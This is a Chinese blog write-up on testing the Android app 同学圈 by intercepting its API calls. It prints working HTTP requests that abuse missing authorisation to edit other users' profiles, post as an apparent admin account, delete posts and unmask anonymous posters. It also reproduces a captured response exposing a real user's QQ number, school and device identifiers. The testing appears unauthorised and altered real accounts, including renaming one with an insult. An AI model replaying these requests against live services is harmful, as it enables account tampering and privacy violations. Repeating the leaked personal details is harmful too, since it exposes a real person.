APP检测——同学圈

检测均为对安卓客户端接口进行的检测,非安卓逆向。

0x00 环境搭建

1.最简单的一种方式就是本地开启burp代理放WiFi,然后手机连接无线是设置代理。手机所有流量均通过burp。

2.安卓虚拟机,我用的是genymotion。需要注册一个账户即可。

下载好以后添加一个安卓虚拟机,我直接添加的就是我的手机型号的安卓虚拟环境。

进入虚拟机以后修改无线代理为本机burp代理即可。

0x01 app分析

首先我从360安卓市场随便下载了一个app(为了检测出漏洞,当然是挑后面的),我选了一款叫做同学圈的app。

该应用采用第三方平台登录(QQ 微博),本身并没有注册机制。

用QQ号登陆上去以后,发现该app进行的所有操作均没有对用户进行验证,可以实现越权操作。

0x02 漏洞分析


1.修改任意用户信息

提交修改信息时,截获数据包为:

POST /api/account/update_userinfo.php HTTP/1.1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Host: imoxin.sinaapp.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; zh-cn; Samsung Galaxy Note 3 - 4.3 - API 18 - 1080x1920 Build/JLS36G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip

uid=108945&name=mtfly&gender=f&sign=222&love_state=%E4%BF%9D%E5%AF%86&scid=1001&acid=1001001&grade=2015

分析:
Uid为用户的系统ID name为昵称 gender 为性别 sign为个性签名 love_state是恋爱状态 scid是学校id 1001是清华大学 acid 是系 grade为年级
直接修改uid为别的用户uid,就就可以实现对个人信息的更新。

POST /api/account/update_userinfo.php HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
Host: imoxin.sinaapp.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; zh-cn; Samsung Galaxy Note 3 - 4.3 - API 18 - 1080x1920 Build/JLS36G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip

uid=108951&name=sb&gender=f&sign=sb&love_state=%E4%BF%9D%E5%AF%86&scid=1001&acid=1001001&grade=2015

2.任意用户发说说

发布说说是进行截包

POST /api/topic/send_status.php HTTP/1.1
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Host: imoxin.sinaapp.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; zh-cn; Samsung Galaxy Note 3 - 4.3 - API 18 - 1080x1920 Build/JLS36G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: saeut=114.252.88.220.1435556486567560
Cookie2: $Version=1
Accept-Encoding: gzip

uid=100001&scid=1001&tid=100&content=a&images&anonymous=0&type=1&head_image=5

直接修改uid为100001,应该为管理员账户。

3.任意删除用户说说

POST /api/topic/delete_status.php HTTP/1.1
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
Host: imoxin.sinaapp.com
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; zh-cn; Samsung Galaxy Note 3 - 4.3 - API 18 - 1080x1920 Build/JLS36G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: saeut=114.252.88.220.1435556486567560
Cookie2: $Version=1
Accept-Encoding: gzip

uid=108945&sid=7318

这里对uid和sid进行了一个验证,如果该sid对应的说说不是该uid对应用户发的,是不会被删除的。

但是并没有什么卵用。

4.查看匿名说说的用户

HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Mon, 29 Jun 2015 06:09:50 GMT
Content-Type: text/html
Connection: keep-alive
Via: 10.67.15.24
Content-Length: 1026

{"comments":[{"cid":"15773","to_cid":"0","sid":"7276","suid":"108934","uid":"108934","scid":"3001","acid":"3001008","grade":"2014","head_image":"44","text":"\u6709\u610f\u79c1\u804a\u6211\u591a\u4e86\u89e3\u4e0b  \u505a\u4e0d\u505a\u6ca1\u5173\u7cfb\u4ea4\u4e2a\u670b\u53cb  qq710574688","digg_count":"0","addtime":"2015-06-27 15:23:25","anonymous":"0","type":"0","name":"\u5012\u523a\u3002","provinceID":"120000","wid":"67B8F1E34F45E16113891C19638D3A72","pid":"2","profile_image":"http:\/\/q.qlogo.cn\/qqapp\/1101688295\/67B8F1E34F45E16113891C19638D3A72\/40","gender":"f","sign":"","love_state":"","province":"","city":"","citycode":"0","regtime":"2015-06-27 14:52:01","lasttime":"0000-00-00 00:00:00","latitude":"0","longitude":"0","geohash":"s00000000000","lbstime":"2015-06-27 15:08:14","device_user_id":"645608652504699783","device_channel_id":"3563395886260805351","device_token":"","disabled":"0","school_name":"\u5357\u5f00\u5927\u5b66","academy_name":"\u5916\u56fd\u8bed\u5b66\u9662","digg_flag":"0","re_text":null}]}

拦截包,可以看到匿名信息发送者的UID。当”anonymous”:”1″时,该说说为匿名说说。但是该包内其实把用户的uid都显示了出来。

举个例子:


该用户发了一个说说,该说说有4个回复,其实这四个说说全都是他自己发的。。。

0x03 总结

其实正好看到了一个demo,很常用的一个软件就又这么多的注入点(其实视频主要展示的是对url实现注入这种强大的自动化效果)。

所以,其实一些新鲜事物并不可怕。都是老知识的复用而已。只要基础扎实,再新的东西也是很容易上手的。

One comment on “APP检测——同学圈

发表评论

电子邮件地址不会被公开。 必填项已用*标注